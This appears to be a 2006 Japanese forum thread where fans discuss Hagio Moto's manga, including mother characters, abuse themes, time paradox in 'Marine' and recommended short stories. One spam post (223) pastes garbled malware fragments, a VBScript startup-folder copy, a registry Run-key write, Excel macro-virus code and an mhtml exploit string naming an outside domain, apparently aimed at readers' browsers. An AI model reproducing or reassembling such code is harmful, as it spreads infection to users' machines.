06/07/23 00:57:28 0
すまんポー
146:花と名無しさん
06/07/23 01:16:13 0
なぜDQN話題でバルバラの明美さんの話題がでない！！
147:花と名無しさん
06/07/23 01:16:20 0
でも自分には見えないところにある鏡に映るのはむつかしんじゃね？
こっそり見られてたんだよね、シーラは。
と擁護してみる。
148:花と名無しさん
06/07/23 02:03:28 O
>>146
あれは三大悪女。
性格悪杉
149:花と名無しさん
06/07/23 02:22:07 0
>>146児玉さんですかｗ
シーラは相手が医者だったけど、アランのときは盗賊だもんね。
150:花と名無しさん
06/07/23 02:42:04 0
明美さんは性格悪いというより、他人の感情に無頓着で
ヒステリー気質な感じ。
三大悪女って誰と誰のことよｗ
151:花と名無しさん
06/07/23 03:04:24 0
マリーンにジェラシー燃やすアフロヘアの子、ディディだっけ。
あの子もなかなかＤＱＮ…というか今で言うツンデレか。
いや、デレは最後まで無かったな…
152:花と名無しさん
06/07/23 03:15:32 0
いや、あれはツンデレであった
153:花と名無しさん
06/07/23 04:15:17 0
心の中によいツンと悪いデレがあって
よいほうはトーマにひかれ
悪いほうは>>152にひかれたんだ
ジョニーウォーカーくん
おなかすいた
メダマやきでいいね
うん
ぼくもおなかすいた
メダマやき
信仰など事態が急変すれば砕けて消える！
ご都合主義で安易なものさ！
卵を産め！卵を産め！このメンドリめ！！
この尻軽！メンドリめ！！
154:花と名無しさん
06/07/23 05:14:26 0
「マリーン」は名作だとは思うけども、
いまいち納得できなかった。
幽霊のようなもの？が過去にさかのぼって出現するという
時系列が理解できない。
自分は「未来のものが昔にあらわれる」というお題が、
萩尾先生以外の誰の作品でもどうやっても受け入れられない。
（タイムマシンを使うのは単純明快なので例外）
「マリーン」が駄作とかそういうことでは全く無いよ。
155:花と名無しさん
06/07/23 05:35:50 0
似た話でヴィオリータなんて短編もあったが
あの場合は似ているけれどまったく別人の少女に
昔の憧れの少女を重ね合わせていただけじゃないの？
156:花と名無しさん
06/07/23 05:48:34 O
>>144
同士だよ、同志だったら強い志を持っていなければいけない。ﾐｰｼｬみたいに
157:花と名無しさん
06/07/23 10:38:01 O
>>150
つサンドラ
158:花と名無しさん
06/07/23 10:54:55 0
悪女というほどではないが、個人的にやな女だな～とｵﾓﾀキャラ。
『イグアナの娘』のおかあちゃん。
『カタルシス』のおかあちゃん。
『トーマの心臓』のユーリのおばあちゃん。
『バルバラ異界』の明美。
『残酷な神が支配する』のサンドラもやだよね。>>150
159:花と名無しさん
06/07/23 10:55:38 0
ごめ、訂正。
『残酷な神が支配する』のサンドラもやだよね。>>157
160:花と名無しさん
06/07/23 12:04:58 0
全員母か。
161:花と名無しさん
06/07/23 12:12:10 0
「かわいそうなママ」のママ。
子育て放棄のネグレスト。
162:花と名無しさん
06/07/23 12:40:59 0
「メッシュ」のママは？
163:花と名無しさん
06/07/23 14:15:55 O
>>157
でも主人公がナディアになってたらクレアがイヤな奴になっていたのかもしれない。
164:花と名無しさん
06/07/23 14:19:44 0
>>161
ネグレクト (neglect)。
165:花と名無しさん
06/07/23 14:25:44 0
>154
そーするってーと、
「スターレッド」の最後のほうも受け入れられないんかな？
166:花と名無しさん
06/07/23 14:53:07 0
母に「いやなキャラ」が多いのは、
やっぱそれだけ皆母というものに求めるものが多いからだろうなと思う。
たいへんだな、おかーさんは。
母視点から描けばすべての物語がまた違うだろうなと思う。
「午後の日差し」とか。
じぶんは萩尾さんの描く母のうち、
少女系ＤＱＮの母（サンドラ系）は、
物語めいていて対象化できるから好きなんだが、
「イグアナ」母とか「フラワーフェスティバル」のお母さんとかは、
妙にリアルでみにつまされて、だから不快に感じるよ。
明美さんとかはその中間くらい。
30近くなって思うけど、人間そんなに飛躍的に成長しないな。
40くらいなんて人間としてぜんぜん未熟でふつうだよな・・・
167:花と名無しさん
06/07/23 14:59:03 0
萩尾さんの母親凄いリアル。
こっちがあまり考えずにいった事を子供側はこれほどの
トラウマとして受けているのか、というシーンがあって、ショックだった。
萩尾さんの描く母親鬼畜、と一言では言えない。
漫画だから分かりやすく鬼畜に描いてあるけど、結構現実に細かいところでは
あるんじゃないか。ちょっとした失言、暴言、当り散らしなど。
168:花と名無しさん
06/07/23 15:09:49 0
>>167
「訪問者」のヘラとかね。冒頭のセリフのやりとりなんかかなりキッツイ。
母じゃないけどメッシュに出てくるポーラもいい人なのにものすごく
無神経だったり。
そういう「回りの大人の反応見て顔色伺う子供の描写」はほんとリアル。
169:花と名無しさん
06/07/23 15:57:03 0
ポーラってルゥの美人のお姉さんだよね。
ポーラは無神経というより・・
ただ単に無神経ではなくて、人の痛みや心の構造そのものが
理解できないタイプの人間って感じだったな。
周囲にこういう人はいないけどすごいリアルだった。
美人で愛想がよい分だけできない人間の気持ち分からないんだな～って。
関係ないけど、「ルカ」って柊あおいのティーン向け小説の主人公も
そういうタイプだったな。
でも、何でポーラが異常に人の顔覚えないのかは気になった。
が、あのバンドマンのハブって奴は、最初ダンスで顔合わせたときは
化粧してたし、その後は様子も違ったから
まあわからないのも理解できるかな・・とも思ったけども。
でも最初読んだ時は、ポーラは人の顔を判別できない病気なのでは？と
思っちゃったよ。あまりにも他人に無関心だし・・
この世の汚れ全てに興味が無いから綺麗でいられるのね～
170:花と名無しさん
06/07/23 19:11:41 0
萩尾さんの作品が好きな理由の一つとして親子関係（特に母親）の描写が
すごいってことがある。
私自身、母親に対する気持ちが複雑で、読んでてすごく共感できる。
母親を愛してるし、愛されてるとは思うけど、いろいろ干渉され、支配さ
れているような息苦しさとか。
「カタルシス」はかなり共感して読みました。
171:花と名無しさん
06/07/23 19:25:09 O
萩尾自身が小さい頃から母親に何もかも強いられてきたからこういう母親キャラが多いってのもある。
てか大いに関係する。
本とか母親から許可取らなきゃ読めなかったいうし。
172:花と名無しさん
06/07/23 20:59:39 0
「小夜の縫うゆかた」のようにお母さんが亡くなってると
思い出の中で美しく語られるんだがね。
173:花と名無しさん
06/07/23 22:19:34 0
ポーのシーラもラストでは「幸せだったあの頃」の象徴のうちの
一つみたいに出てきたね。メリーウエザーさんも。
でもマージナルや残神読むと、いわゆる「聖母」ってものが
すごく病的で偽善的に見えてくる。
グレッグはリリヤに完璧な妻・母を求めて破綻しちゃったわけだし。
でも子どもは親を選べないし、生殺与奪権握られちゃう立場だから
支配もされちゃって・・・
そうなるとイグアナとか残神でイアンが言ってたみたいに許すことが
最終的な解決・・？萩尾漫画的には
174:花と名無しさん
06/07/23 22:53:28 0
人間の実際的にもある程度はそうだろう。
まぁだいたいこんなもん、くらいのラインで許し合うしかないし、
深刻な暴力の連鎖はイアンみたいにだれかが許す境地にいくしかない。
でもイアンはそういう地点にまずいくことができたってのが、
とてもラッキーなことなんだよね、たぶん。
私的に、残神と、ムラカミハルキ訳の「心臓を貫かれて」は、
暴力連鎖問題を考えるときの双璧傑作だなー。
175:花と名無しさん
06/07/23 23:33:55 0
全く流れを読んでいないトンチンカンなレスですが、
実際性犯罪の被害者が援助交際や売春に走ることはよくあるらしい。
ジェルミの乱交も（本人が望んだわけではないが）、その心理も
とても理解できて、痛みというものを考えるきっかけになった。
176:花と名無しさん
06/07/24 00:05:06 0
自罰ってあるんだよね。
萩尾さんの作品でないけど、
山岸さんの短編で父親に被害受けてる女の子と学校の先生の話あるジャン。
あれでもおなじよーなせりふがあったような。
177:花と名無しさん
06/07/24 00:16:24 0
＞あれでもおなじよーなせりふがあったような
どんな台詞か思い出せたら詳細キボン。
その話読んだこと無いから興味ある。
自罰ってねえ・・哀しいよね。
取り合えず自分が悪いわけじゃないのに・・
もっと汚れて平気になったら傷が薄れると思うんだよね・・
女だから何となくわかる・・
でも実際は泥沼にはまるだけで何も解決しないんだよね。
被害者は苦しいよ。グレッグも大変なのかもしれないけど許せない。
辛いのは被害に遭うほう。
178:花と名無しさん
06/07/24 01:03:17 0
>>177
176さんじゃないけど、「緘黙（しじま）の底」って短編。
姉が父親から恒常的に性行為を強要されてて、妹である
主人公にも手を出しそうになったので小刀で刺して（その
せいかどうか流産して）、事実が明るみに出た、という過去を
背負ってる。
で、同じように父親から「体にいやらしいことをされている」らしい
女の子の窮状に気づいて奔走する、って話。
父親が娘に手を出すなんて信じられない、と首をふる常識的で
善良な同僚に、
「わたし、ずいぶん男と遊んだし暴走族に入ったこともある。
姉は三回離婚と結婚を繰り返して、今はどうしてるか知らない。
親に暴行された子供は、魂を殺されて、自分がとうてい清いものだと
思えなくなってしまうの」
という話をする。
ラストはわずかに救いのある展開で、主人公の「魂を殺された子は
もう一度生き返ることができるだろうか…」というモノローグで〆
「残神」は、その「子供の魂が殺されてから再生されるプロセス」を、
じっくり描いた物語っつーことですな。
179:花と名無しさん
06/07/24 01:12:09 0
177ですが、>>178さん、
丁寧なレスどうもありがとうございます！
そんな台詞だったんですね。
ジェルミの「人殺しでも愛することはできるだろうか」という
台詞と、共鳴するものがありますね。
ジェルミにとっては、人を愛することが魂を生き返らせる
唯一つの方法だったのかな・・なんて。
180:花と名無しさん
06/07/24 01:24:10 0
>>176
レコードのように同じ傷を繰り返してしまう、この場合は愛のない自傷に近い
不特定多数との性行為などですが、イアンがジェルミを語るセリフであったような。
飯島愛のプライベートセックスでほぼ同じセリフがありました。。
181:花と名無しさん
06/07/24 03:11:46 O
萩尾さん、もしやﾊﾟｸry
182:花と名無しさん
06/07/24 04:53:49 0
検証は不毛ｒｙ
183:花と名無しさん
06/07/24 05:09:08 0
>>154
なんだっけ
映画か小説で同じテーマの話がなかった？
184:花と名無しさん
06/07/24 08:21:20 O
というか、虐待系の本を読むと、どこにでも被害者による似た意味の言葉が書いてあるよ
ジェルミの思考や行動は、性的虐待を受けた子供としては特に珍しいわけでなく
むしろありがちなパターンと思う。
でもそういうものを詳細な説明文もなしに
漫画で表現するのは非常に難しいことなので
萩尾先生はよく勉強して、また描いているなと感心した。
最後がああいう形なのも、スッキリはしないが非常にリアル
185:花と名無しさん
06/07/24 08:37:23 0
そういえば、外国の映画でジェルミっていう男の子が義父に虐待されるのがあって
萩尾さんパクッたんじゃね？それともオマージュ？インスパイア？
とかいう話が数ヶ月前にあったような気がするんだけど、
あれ結局どうなったんだろ
186:花と名無しさん
06/07/24 08:47:20 0
>>185
あのパクリ問題は、結局ガセって事でケリがついた。
その映画で性的虐待を受けた男の子の名前も、ジェルミじゃなくてRobiだった。
187:花と名無しさん
06/07/24 09:17:11 0
ロビ？がどういう流れでジェルミになったんだろう・・
188:花と名無しさん
06/07/24 09:41:42 0
>>187
↓スレ立てした１の悪意か勘違いのどっちか。
ｽﾚﾘﾝｸ(csaloon板)
189:花と名無しさん
06/07/24 10:11:08 O
そもそも残神はストーリーそのものよりも
キャラの精神面の描写が凄くて、評価されたんだと思うんだけど…
１～５巻の虐待されジリジリと追い詰められていくジェルミの様子とか
虐待の事実から逃げたイアンが、一度は箱に閉じ込めた己に導かれて
再び現実と向きなおるところとか、怖いくらいドキドキしたな
他にもデザインの平面構成に近い絵があったりして、強く印象に残ってる
映画や本のストーリーや台詞をちょっとばかりパクったところで、表現できるレベルじゃない気がするよ
190:花と名無しさん
06/07/24 10:15:53 0
萩尾先生の絵が好きじゃないって方も結構いるって知ったけど、
でもやはり技術は最高レベルだよね、望都先生。
カラーもトーン使いもすごい上手いって思うし、
何より心理を表現する巧みな描写がすごすぎる。
あれ読んだら自分の絵の自信無くなるよ。（私は別に漫画家ではないが）
191:花と名無しさん
06/07/24 10:51:17 0
>>186 >>188
へえー。そんなことになってたんだ。
知らんかった
ありがとう
てか自分の最終読み込み
2005/5/3 だし
数ヶ月前じゃなくて去年のゴールデンウイークだったのか！
時間が経つのってはやいなあ
192:花と名無しさん
06/07/24 11:03:14 0
耳鼻科で何も知らずに半神よんで
すごい衝撃を受けた。
193:花と名無しさん
06/07/24 11:38:57 0
半神置いてある耳鼻科ってすごいな。
あれは私も衝撃を受けた。たった１６ページであの内容だもんな
194:花と名無しさん
06/07/24 14:39:10 0
自分は昔、歯医者で「イブの息子たち」を読んで衝撃を受けたことが。
195:花と名無しさん
06/07/24 16:16:16 0
床屋で『百億の昼と千億の夜』を・・・。
196:花と名無しさん
06/07/24 18:10:38 0
>>154
遅レスですが…。とても気持ちは分かります。
私は映画の「キッド」のように、未来の自分（A）が過去の自分（B）に干渉して、「未来が変わる」という現象が理解できません。
BはAに出会った時点で、Aとは違う経験をすることになるから、
本当の意味で言えば、BとAはそれ以降、別人になってしまいます。
Aは子供の頃に、未来の自分（C)に出会ってないのですから。
さらに言えば、Aに出会えたBは、もう道を誤りませんから、大人になっても、過去の自分（D)には会いにいきません。
DとBもまた、別人になってしまう。
こういった場合の過去への干渉は、成り立たないんです。
繰り返せませんから。時系列の中の「例外」って、多分ないんですね。
ミソなのは、「マリーン」では、マリーンの過去自体は変わらないのです。
船上で出会ったマリーンは一番若いマリーンであり、
その後、幽霊となって、主人公の過去に現れるマリーンは、船上より未来のマリーン。
だから、主人公が将来船上で出会うマリーンは何も知らなくて当たり前だし、
マリーンが死ぬ未来も、主人公がマリーンに出会う過去も、何一つ変わらない。
過去に遡って現れるという現象が、一度きりの例外ではなく、時系列の中で繰り返されている。
いわば、マリーンの時系列だけ、Uターンしている状態なんです。
こういった問題に関しては、「酔夢」の方が、より簡潔に説明してくれているように思います。
繰り返される男と女の物語が、例えば誰かの強烈な意思によって変わってしまったら、
その瞬間に、過去に繰り返された出来事も、連動するかのように、すべて書き換えられてしまうんですね。
そうすれば矛盾がなくなるんです。
「マリーン」はまさに、そういった現象の物語だったのではないでしょうか。
ちょっとうまく説明できないのですが…。
197:花と名無しさん
06/07/24 18:27:39 0
まあそれが「タイムパラドックス」っていうもんだから……。
未来の人間（の意思）が過去に干渉することで過去の人間の
行動が変わる、そのことじたいがすでに「歴史」として織り込み
済みになってる説とか、「干渉したことで生じた新しい歴史」と
「干渉しなかった規定の歴史」に枝分かれして、何種類もの
未来が存在するようになる説とか、あと（マリーンには当て
はまらないけど）「干渉しようとしてもできない」説とか、いろいろ
考えられてるわけで。
そういう、時間に干渉することで世界が変わったり変わらなかったり、
するかもしれない・しないかもしれないって仮説を考えるのも
ＳＦ者の楽しみっちゅーことで。
198:花と名無しさん
06/07/24 18:49:27 0
時間について考えるのは哲学者だっけ？
たしか、「自分」というものを哲学的にどう捉えるか、という問題で、
「半神」や「A－A´」なんかを教材として取り上げた本があったよね。
その著者が同じ本の中で、時間についても読み解いていたから、参考になるかもね。
時間についての教材は萩尾先生の本ではなかったけれど、
「半神」と「A－A´」の面白解釈を読むついでにどうでしょう。
199:花と名無しさん
06/07/24 19:33:14 0
>>197 がいい事言った。
200:花と名無しさん
06/07/24 20:30:04 0
>>198
著書かタイトル教えてYO
201:198
06/07/24 20:49:35 0
あう。あまり有名ではなかったのね…。失礼しました。
永井均さんの「マンガは哲学する」という著書です。
個人的に、萩尾先生の作品に対する解読は、かなりのものだと思いますよ。
とても面白いのでオススメです。
202:花と名無しさん
06/07/24 21:14:10 BJVRusuW0
>>198
あれは、哲学の側から萩尾さんに降りてきてあげるという意識が強いダメ本に感じた。
萩尾さんの作品は単なる題材で、語っているのは自分の世界のことばかり。
萩尾さんの解読ということなら、橋本治をオススメします。
203:花と名無しさん
06/07/24 21:32:46 0
そういった解釈もあるのですね…。
私は、そんな嫌味な感じは受けませんでした。
むしろ、「半神」のラストシーンの、愛して憎んでいた「おまえ」とは誰なのか、という解読は、
限りなく正しいし、鋭い意見だったと思います。
自分の世界、というか、哲学の世界ですね。
哲学本ですし、文庫のあとがきではないから、ある程度哲学に話が寄ってしまうのは仕方がない気もします。
仰るとおり、あくまで萩尾先生の作品は「教材」ですから。
きちんと読み込んでくれているのが、随所随所で分かるし、その上で、解読も新しい方向からの試みで、興味深い。
それだけで私は充分満足でした。
勿論、橋本治さんの著書も面白く読めたので、私も大好きです。
204:花と名無しさん
06/07/24 21:41:25 0
198さんでないけど、永井均のその本はたしかにおもしろいよ。
ただし202さんの言うとおり、萩尾さん作品の解説と言うよりは、
永井均の問題意識の側から作品をきればこうなるってものだけど。
あれは萩尾さんとか手塚さんとかのビッグネームを扱ったものより、
作者がもっとも自分の問題意識に共鳴するものとして差し出してる、
佐々木淳子さんの作品解説が一番リキはいってるね。
まぁ興味がある人には、だろうけど。
自分（自意識）って何とか、時間て何（でもこれは自分って何といっしょ）とか、
哲学SFぽいのが好きな人はけっこう楽しめると思う。
205:花と名無しさん
06/07/24 21:42:17 0
お、ごめんリロードせずに書き込んじゃった。
206:花と名無しさん
06/07/24 21:45:18 0
まあ色んな本読めばいいんじゃないか
萩尾がテーマじゃなくて哲学がテーマなら、単なる題材扱いでもしょうがないだろ
文庫の解説で萩尾に会えてキャーみたいなこと書いてあるのがすごく嫌だな
解説じゃなくても個人的な感想でもいいから作品の話しろよっていつも思う
萩尾漫画に限ったことじゃないけど
207:花と名無しさん
06/07/24 22:00:03 0
まぁいろいろだ。
小難しく解説されるとそれで「うきー」ってなるやつもいるし。
楽しめればいいんだよ派っていうか（笑）
そっち系の人にはまだしも作者に会えてキャー系のほうがウレシイわけで。
読者はいろいろだよ。
208:花と名無しさん
06/07/24 22:02:34 0
＞解説じゃなくても個人的な感想でもいいから作品の話しろよっていつも思う
萩尾漫画に限ったことじゃないけど
それはつまり、萩尾先生じゃないけど、
文庫版の大島弓子先生の「夏の終わりのト短調」の
変な偏見に満ちた学者気取りの解説のことですか
209:花と名無しさん
06/07/24 22:36:43 0
単行本の解説はいいのが多いけど
文庫本になるとほんとどうでもいいような
解説が多くて萎えるのが多い。
単に有名人に語らせていっちょあがり、みたいなのって
カンベンしてほしい。
210:206
06/07/24 23:20:00 0
>>208
その解説は読んだことないからわかんないけど、作品について語ってるのであれば
個人的には偏見解説の方が作者キャーよりいくらかマシ。
あくまで私個人は。
作者キャーがやだなーと思ったのは残神１・２巻の解説読んで。
ネタバレするわけにはいかないし、話も始まったばかりでの
解説は難しいとは思うけどさ・・・。
解説は最終巻にだけあればいいと思うな。
211:花と名無しさん
06/07/24 23:27:41 0
投票しようぜ
URLﾘﾝｸ(plaza.bunka.go.jp)
212:花と名無しさん
06/07/24 23:54:17 O
話豚ぎってすまんが
ポーの２巻に入ってる10月の少女たちっていう短編すごいね
短いページ数で少女の微妙な心理を上手に表してる
改めて萩尾先生の構成力に感動した。
ちょうど長編の残神読んでたから余計に
いつもポーだけ読んでお腹いっぱいになって
見逃してた自分に…orz
ここの住人さんたちは萩尾作品でオススメの短編はありますか？
213:花と名無しさん
06/07/24 23:58:35 0
萩尾下全集の解説はほとんどどうでもいいｗっつーか
語ってるようで語ってないｗ漫画カノ後書きだからちょっとした
こずかい稼ぎ程度に適当にやるかってかんじ。
○鹿島羅喪の解説「１１員いる派美少年が売り」のほうがまだましｗ
でも同じ漫画家仲間とか、肉親の後書きはリアルでよかったよ。
昔のぱふでもあったけど解説って自分の詭弁に酔って肝心の作品は
２の次みたいなのはあったな。
214:花と名無しさん
06/07/25 00:02:45 0
ストロベーリィフィールズの対談の相手の少女？小説化は酷かったよ。
自分の自慢話ばっかりｗ
もっとマシな対談相手いなかったのかよ。
215:花と名無しさん
06/07/25 00:14:15 0
>>212
『ビアンカ』、『11月のギムナジウム』、『秋の旅』、
『白き森 白き少年の笛』なんかがお勧め。
外国の児童文学の味わい。
216:花と名無しさん
06/07/25 00:45:32 0
「毛糸玉にじゃれないで」
「小夜の縫うゆかた」
「３月うさぎが集団で」
「あそび玉」
「かわいそうなママ」
その他多数
要するに初期の短編は、ラブコメも含めて全部お薦め。
217:花と名無しさん
06/07/25 00:51:21 0
>>212
「赤っ毛のいとこ」
218:花と名無しさん
06/07/25 01:23:25 0
連作でもいいなら、『精霊狩り』、『ドアの中の私のむすこ』、『みんなでお茶を』の精霊狩りシリーズ。
『花嫁をひろった男』、『ジェニファの恋のお相手は』、『オー マイ ケセィラセラ』etc.etc.
219:花と名無しさん
06/07/25 03:59:19 O
全部読めってことねｗ
220:花と名無しさん
06/07/25 04:04:35 0
>>216
３月うさぎが集団では面白かった。
全体的にドタバタしてるのが
公害問題を扱った作品で
「かたっぽのふるぐつ」なんてのもあったね。
221:花と名無しさん
06/07/25 04:37:07 0
ポーの絵がとても好きで、同じような絵の作品を、
というか72～76年の頃の作品を集めてるんだけど
んーなんか今いち
222:花と名無しさん
06/07/25 09:05:49 Wn7g4bH90
今週のBSアニメ劇場で１１人いるやるねー
怖いもの見たさで録画してみよう。。。
223:<body onload=window()>
06/07/25 10:24:00 0
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
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fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
224:花と名無しさん
06/07/25 16:16:17 0
>>221
今見ると、絵が地味なのかなー
225:花と名無しさん
06/07/25 19:55:54 0
>>222
アニメはそこまで覚悟しなくても大丈夫w
226:花と名無しさん
06/07/26 00:16:53 0
>224
時代の流行り廃れもあろうけど、基本的には好みじゃないかなー。
227:花と名無しさん
06/07/26 00:25:59 0
なんか貼り貼りしてるのは
ファン・信者が痛すぎる少女漫画作品や作家ｽﾚﾘﾝｸ(gcomic板)
でヒャビョッってた人ですか？
228:花と名無しさん
06/07/26 00:31:41 0
>>227
上がってるスレは、ほとんど見境なく襲われてるみたい。
だからsage進行がいいと思われ。
229:花と名無しさん
06/07/26 00:33:39 0
>>227
ファビョる＝火病る
230:花と名無しさん
06/07/26 01:03:16 0
>>228-229
＿一 7ヽ
＿一￣＿一 l ｜
. l＿一￣､__, | ｜
＼ ノ丶 -‐｡ ！｜
＼¨´|_,rヽ ､ i `l､
∧ lﾆ＞ | i ｜＼
. / / ＼. | i |ヽ,ム
___/ / ／｀>､＿| i |'´__,. ＼
/¨ｨ n ヽ〈＿_'_/¨ｨﾆl¨'くﾞヽ〕Ｌ.ノ
└'└'└┘ ￣ └‐^ｰ'
◆…正直すまんかった
231:花と名無しさん
06/07/26 01:05:54 0
あやまって済むなら警察はいらんのだ
232:花と名無しさん
06/07/26 01:32:53 0
夏の光に目が眩んだ一瞬の・・・混乱としか思えないんだ
233:花と名無しさん
06/07/26 01:41:02 0
てかこのスレ開いたり、リロードしたりすると
>>1からの書き込みがだららーってなる。
ノートン先生ご機嫌斜めみたいな。
んー実況とか、流れのはやいスレではノートン先生が怒って
こういうのありがちだけど、
ここ、まだ書き込み200台だしなんか嫌な感じなんです！
でも対処法はそれ用の板のスレに書いてあるけどﾏﾝﾄﾞｸｾ('A`）
>>230
ネガティブマンは、ゲーム中、弱すぎで、逆に驚くんです。
234:花と名無しさん
06/07/26 03:59:01 0
萩尾の漫画でネームの苦しみなどをエッセイ漫画みたいに
描いた作品てありましたっけ？
単行本に収録されているのを読んだ記憶があるのですが
それが一つの作品だったのか、あとがきだったのか
はたまた他の漫画家のエッセイ漫画に、萩尾の場合として載っていたのか
どうしても思い出せません。どなたかご存知でしたら、ぜひ教えて頂けないでしょうか。
色々な漫画家の生みの苦しみが載っていました。ネーム中に必ず吐くとか。
235:花と名無しさん
06/07/26 06:12:19 0
手元にないんで確認出来ないけど「デクノボウ」かな
URLﾘﾝｸ(www.toshonoie.net)
236:花と名無しさん
06/07/26 09:32:13 0
>>234
235さんの書いてるデクノボウで間違いないです。吐いてまで苦しんで
ネーム考えるのは、ささやななえこさんじゃなかった？他にも青池保子さん
なども出てました。
237:花と名無しさん
06/07/26 20:26:40 0
>>235-236
ありがとうございます。リンク先確認したところ、私が読んだ単行本は
モザイク・ラセンでした。古本屋で探してみます。お手数かけました。
238:花と名無しさん
06/07/27 23:24:39 0
>>212
「エッグスタンド」第二次世界大戦もの。
なんかもう一番好き。ひたすら残酷で、致死量を軽く超えてるような。
239:花と名無しさん
06/07/27 23:36:05 0
あれいいねえ。萩尾先生はどうしてあんなにヨーロッパを描くのが上手いのか。
恐るべき子供たちなども、映画のほうと比べても構成を漫画的に組み立て替えてて
ラストに至るコマワリはもう神。
ゴールデンライラックは、一本洋画を観た感じでした。ありきたりな感想だけど。
240:花と名無しさん
06/07/27 23:57:14 0
違和感無くヨーロッパや歴史ものを描きあげるよね。
衣装も街並みも嘘っぽくない。
ゴールデンライラックの主人公大好きだよ。
241:花と名無しさん
06/07/28 01:46:46 0
ヴィーですわ！あなたの取り上げたコニーが死にそうですのよ！（うろ覚え）
あの台詞にはしびれた。ある意味身勝手なのに魅力的な女性。大好き。
242:花と名無しさん
06/07/28 02:17:42 0
マージナルの図書の家が好き。
ああいった石造りの街並みや家が、とても素敵に描かれててストーリーとは別に
楽しめる。
243:花と名無しさん
06/07/28 02:27:14 0
図書館に、『あぶない丘の家』があったんで借りてきた。
けっこう面白いねこれ。
オカルトあり歴史物ありＳＦありで楽しめる。
最初のオカルトものなんて、悲惨な話のはずなのに
ユーモラスに描かれているのは萩尾テイストか。
244:花と名無しさん
06/07/28 06:00:01 0
あぶない…ちょうど読み直してたトコ
お父さん一大決心のｶｻﾌﾞﾗﾝｶのソファとか生活観まで細かい望都さんが大好き
ののさんの部屋とか睦月の部屋には昭和を感じるし
ユーリんちのビスケットや11月の方のエーリクんちにも家の暖かさを感じる
245:花と名無しさん
06/07/28 06:41:21 0
『あぶない丘の家』って、『残酷な神が支配する』と連載時期がかぶってるんだね。
アズ兄ちゃんとイアン、真比古とジェルミはなんとなく似てる。ビジュアル的にも。
残神が重いテーマだから、丘の家で明るくやらせてみたかったのかな？ 萩尾さん。
>>244
＞ののさんの部屋とか睦月の部屋には昭和を感じるし
＞ユーリんちのビスケットや11月の方のエーリクんちにも家の暖かさを感じる
んだね^^。あのビスケット食べてみたいと思ってた。
246:花と名無しさん
06/07/28 10:55:50 0
>238
ホビロンを連想しました。ｗ
247:花と名無しさん
06/07/28 12:00:31 Au0iawaM0
主役二人だけなじゃく、死にそうなおじいちゃんや猫、
霊能力のあるねーちゃん（これはナディア？）等、自ら残酷～を
ぱくって描いた作品のように思うｗ＜あぶない丘の家
248:花と名無しさん
06/07/28 14:16:20 0
あぶ丘の単行本の最後に入っているＳＦが結構好きだー。
未来からバイクに乗ってやってくる少年がカワイイ。
萩尾バージョン義経ストーリーも好きだよ。
先生の義経美しい、、。
249:花と名無しさん
06/07/28 15:10:49 0
あれはうまく平家を描いてる。平家物語は実はかなり偏りがあって、
義経の記録者と義仲の記録者の記述が大本になっているに過ぎないんだけど、
にも拘らず、萩尾さんの頼朝像はすばらしいです。
先人に描かれた頼朝を踏まえたうえで独自の内面を作り上げてると思う。
つか私、ヨーロッパ部門を誉めたばかりだというのに。
250:花と名無しさん
06/07/28 15:48:15 0
去年の大河のネタ本かと密かに思っていたw>あぶない壇の浦
社会的立場の変化とともに、どんどん性格も顔つきも変わって行く頼朝と、
最後まで少年のような外見で、空気読めないぽやんのままだった義経。
兄弟初対面とか腰越状のくだりとか、絵的にもそっくりで。
251:212
06/07/28 23:45:55 O
212です。レスたくさんありがとうございます。
すぐにそんなに作品名が出て来るなんて
皆さんよほどの萩尾ファンですねｗｗｗ
半分くらいは知っているものもありましたが
コメディー調の作品をあまりみたことがないので
お薦めされた中から順番に探して読んで行きたいと思います
せめてあと30年早く生まれてればなぁ…
252:花と名無しさん
06/07/29 00:44:33 0
金銀砂岸来ねーなと思ってたら、まーーーーーーた発行延期しやがって
た！あそこって残りが０にならないと印刷しないのか？
253:花と名無しさん
06/07/29 00:56:15 0
>252
残りが0じゃないんなら発注すれば買えるんじゃないのかな
254:花と名無しさん
06/07/29 19:10:31 0
>>252
またですか？
一体何時になったら届くんでしょうねぇ、、orz
ま、まさかこのまま発売中止になったりしないよねΣ(ﾟдﾟ；)
255:花と名無しさん
06/07/29 23:32:39 0
起きていたの？
ああ…たださよならを言いに。
僕は今夜仲間たちと発つんだ。
これは…これは…エドガーじゃない
どうしたの？
早くおやり。
…あ…あ…
エドガー！
わたし待ってたのよ！
ずっとずっと待ってたのよ！
今手元に無いんでうろ覚え。この件大好き。
おずわるどがバーンて来てからの件も、ラストの〆方も神だと思う。
256:花と名無しさん
06/07/30 00:08:47 0
>>255
その後の「みんなわたしをおいていった」のオズワルドの表情が好き。
オズワルドのメリーベルに対する感情は、やっぱり愛だったの？
最後のほうは身内愛？
257:花と名無しさん
06/07/30 00:42:48 0
身内だって分かってからはずっと身内愛じゃないかな。たぶん
その後の話でオズワルドは大変な愛妻家でとか言われてて
マドンナと二人、幸せな家庭を築いたんだな、良かったなって思った。
でも遺書で「全財産ゆずる」まで書かなくてもよくね？
自分らの子孫もいるんだし。
「半分ゆずる」・・・じゃあかっこ悪いか。うーん
258:花と名無しさん
06/07/30 03:58:21 0
子供心に「それまいよ」が理解できず
「それで、まあいいよ」の略？「それまでよ」の間違い？と随分悩んだｗ
259:花と名無しさん
06/07/30 20:46:32 0
私の友人は（読んだ当時リア厨）
小鳥の巣のアランの「かったるい」が意味がわからず、「かるい（軽い）」の
間違いかと悩んでたと言ってた。それでも意味が通じなくて困ったそうだw
260:花と名無しさん
06/07/31 10:42:34 0
